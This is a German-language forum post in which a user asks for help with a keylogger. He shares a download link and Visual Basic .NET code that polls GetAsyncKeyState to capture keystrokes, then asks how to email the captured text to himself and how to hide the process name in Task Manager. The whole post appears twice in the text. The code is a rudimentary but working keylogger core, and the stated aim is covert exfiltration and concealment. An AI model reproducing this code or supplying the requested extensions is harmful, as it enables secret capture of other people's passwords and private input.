Dr. XMas
11.07.2009, 19:29
Ich brauche Hilfe bei meinem Keylogger http://rapidshare.com/files/254662155/Keylogger_.rar
der Code:
Public Class Form1
Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
results = 0
results = GetasyncKeyState(i)
If results = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End ClassMein Problem :
-Wie mache ich das sodass der Keylogger das Aufgenommene an meine E-mail adresse schickt
-wie kann man prozessname ändern oder kann man das nicht also im taskmanager
Hoffe auf Hilfe^^
kann mir denn keiner helfen-.-
der Code:
Public Class Form1
Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
results = 0
results = GetasyncKeyState(i)
If results = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End ClassMein Problem :
-Wie mache ich das sodass der Keylogger das Aufgenommene an meine E-mail adresse schickt
-wie kann man prozessname ändern oder kann man das nicht also im taskmanager
Hoffe auf Hilfe^^
kann mir denn keiner helfen-.-